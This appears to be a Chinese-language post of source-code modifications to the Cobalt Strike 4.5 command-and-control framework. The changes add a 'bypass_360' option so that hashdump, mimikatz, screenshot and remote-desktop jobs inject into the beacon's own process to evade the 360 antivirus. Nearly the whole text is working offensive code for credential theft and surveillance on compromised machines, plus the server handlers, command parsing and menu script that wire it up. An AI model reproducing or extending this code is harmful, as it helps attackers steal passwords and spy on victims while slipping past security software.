CS4.5改造：补充inject self 代码

Cortana.put(instance, "&beacon_bypass_360", this);

else if(name.equals("&beacon_bypass_360")) {     bids = bids(stack);     String format = BridgeUtilities.getString(stack, "");
     for(int i = 0; i < bids.length; ++i) {        this.conn.call("beacons.bypass_360", CommonUtils.args(bids[i], format));        this.conn.call("beacons.log_write", CommonUtils.args(BeaconOutput.bypass_360_out(bids[i], format)));     }  }

"bypass_360", "note", "process", "pid", "arch", "last" };

//新增 bypass_360else if (var11.is("bypass_360")) {  if (var11.verify("Z")) {     arg = var11.popString();     this.master.bypass360Handle(arg);  } else if (var11.isMissingArguments()) {     this.master.bypass360Handle("true");  }}

  //新增 bypass_360   else if (var8.is("bypass_360")) {     if (var8.verify("Z")) {        arg = var8.popString();        this.master.bypass360Handle(arg);     } else if (var8.isMissingArguments()) {        this.master.bypass360Handle("true");     }  }

   public void Desktop(boolean var1) {      //修改增加360处理      for(int i = 0; i < this.bids.length; ++i) {         this.GoInteractive(this.bids[i]);         BeaconEntry beaconEntry = DataUtils.getBeacon(this.data, this.bids[i]);         //Desktop函数新增 Bypass360处理         if (beaconEntry!=null) {            if (beaconEntry.getBypass360()) {               this.log_task(this.bids[i], "Bypass 360: Tasked desktop job inject to self process: " + beaconEntry.getPid());               int pid = common.CommonUtils.toNumber(beaconEntry.getPid(), 0);               (new beacon.jobs.DesktopJob(this)).inject(this.bids[i], pid, beaconEntry.arch(), var1);            }            else {               (new DesktopJob(this)).spawn(this.bids[i], this.arch(this.bids[i]), var1);            }         }      }   }

   public void Hashdump() {      String[] bids = this.bids;      int length = bids.length;      //新增 getBypass360 处理功能      for(int i = 0; i < length; ++i) {         String var4 = bids[i];         BeaconEntry beaconEntry = DataUtils.getBeacon(this.data, var4);         String systemArch = beaconEntry.is64() ? "x64" : "x86";
         if (beaconEntry.getBypass360()) {            if (systemArch.equals(beaconEntry.arch())) {               this.log_task(var4, "Bypass 360: Tasked hashdump job inject to self process: " + beaconEntry.getPid());               int pid = common.CommonUtils.toNumber(beaconEntry.getPid(), 0);               (new beacon.jobs.HashdumpJob(this)).inject(var4, pid, beaconEntry.arch());            } else {               this.error(var4, "Bypass 360: Do not inject into a " + beaconEntry.arch() + " process when running on a " + systemArch + " system.");            }         } else {            (new HashdumpJob(this)).spawn(var4, systemArch);         }      }   }

   public void MimikatzSmall(String var1, int var2, String var3) {      boolean flag = var2 >= 0 && CommonUtils.contains("x86, x64", var3);      String[] bids = this.bids;      int length = bids.length;      //新增的 bypass360 处理逻辑      for(int i = 0; i < length; ++i) {         String beacon = bids[i];         BeaconEntry beaconEntry = DataUtils.getBeacon(this.data, beacon);         if (beaconEntry != null) {            String systemArch = beaconEntry.is64() ? "x64" : "x86";            if (beaconEntry.getBypass360()) {               if (systemArch.equals(beaconEntry.arch())) {                  this.log_task(beacon, "Bypass 360: Tasked mimikatzsmall job inject to self process: " + beaconEntry.getPid());                  int pid = CommonUtils.toNumber(beaconEntry.getPid(), 0);                  (new MimikatzJobSmall(this, var1)).inject(beacon, pid, systemArch);               } else {                  this.error(beacon, "Bypass 360: Do not inject into a " + beaconEntry.arch() + " process when running on a " + systemArch + " system.");               }            }            else if (flag) {               if (systemArch.equals(var3)) {                  (new MimikatzJobSmall(this, var1)).inject(beacon, var2, var3);               } else {                  this.error(beacon, "Do not inject into a " + var3 + " process when running on a " + systemArch + " system.");               }            }            else {               (new MimikatzJobSmall(this, var1)).spawn(beacon, systemArch);            }         }      }   }

   public void Printscreen() {      String[] bids = this.bids;      int length = bids.length;      //新增Printscreen代码处理逻辑      for(int i = 0; i < length; ++i) {         String bid = bids[i];         BeaconEntry beaconEntry = DataUtils.getBeacon(this.data, bid);         if (beaconEntry != null) {            if (beaconEntry.getBypass360()) {               this.log_task(bid, "Bypass 360: Tasked printscreen job inject to self process: " + beaconEntry.getPid());               int pid = CommonUtils.toNumber(beaconEntry.getPid(), 0);               ScreenshotJob.Printscreen(this).inject(bid, pid, beaconEntry.arch());            }            else{               ScreenshotJob.Printscreen(this).spawn(bid, beaconEntry.arch());            }         }      }   }

   public void Screenshot() {      String[] bids = this.bids;      int length = bids.length;
      for(int i = 0; i < length; ++i) {         String bid = bids[i];         BeaconEntry beaconEntry = DataUtils.getBeacon(this.data, bid);         //Screenshot功能更 新增 bypass360处理         if (beaconEntry != null) {            if (beaconEntry.getBypass360()) {               this.log_task(bid, "Bypass 360: Tasked screenshot job inject to self process: " + beaconEntry.getPid());               int number = CommonUtils.toNumber(beaconEntry.getPid(), 0);               ScreenshotJob.Screenshot(this).inject(bid, number, beaconEntry.arch());            } else {               ScreenshotJob.Screenshot(this).spawn(bid, beaconEntry.arch());            }         }      }   }

   ///新增 bypass360 处理函数   public void bypass360Handle(String arg) {      for(int i = 0; i < this.bids.length; ++i) {         this.conn.call("beacons.bypass_360", CommonUtils.args(this.bids[i], arg));         this.conn.call("beacons.log_write", CommonUtils.args(BeaconOutput.bypass_360_out(this.bids[i], arg)));      }   }

map.put("bypass_360", this.bypass_360 + "");

      case 14:         //新增 bypass_360         return this.prefix("bypass_360");

 case 14:   CommonUtils.writeUTF8(var1, "[bypass_360] " + this.text);

//新增存入bypass_360键值对calls.put("beacons.bypass_360", this);

//新增 bypass360 函数处理else if (r.is("beacons.bypass_360", 2)) {   this.bypass360Handle((String)r.arg(0), (String)r.arg(1));}//新增 bypass360 函数处理else if (r.is("beacons.bypass_360", 1)) {   this.bypass360Handle((String)r.arg(0), "true");}

        item "&Bypass360" {            $bid = $1;            $dialog = dialog("Bypass360", %(bool_flags => ""), &Bypass360);            dialog_description($dialog, "Set the Beacon's Bypass360 ");            drow_combobox($dialog, "bool_flags", "bool_flag:", @("true", "false"));            dbutton_action($dialog, "Bypass360");            dialog_show($dialog);        }
        sub "Bypass360" {            binput($bid, "bypass_360 $3['bool_flags']");            beacon_bypass_360($bid, $3['bool_flags']);        }  }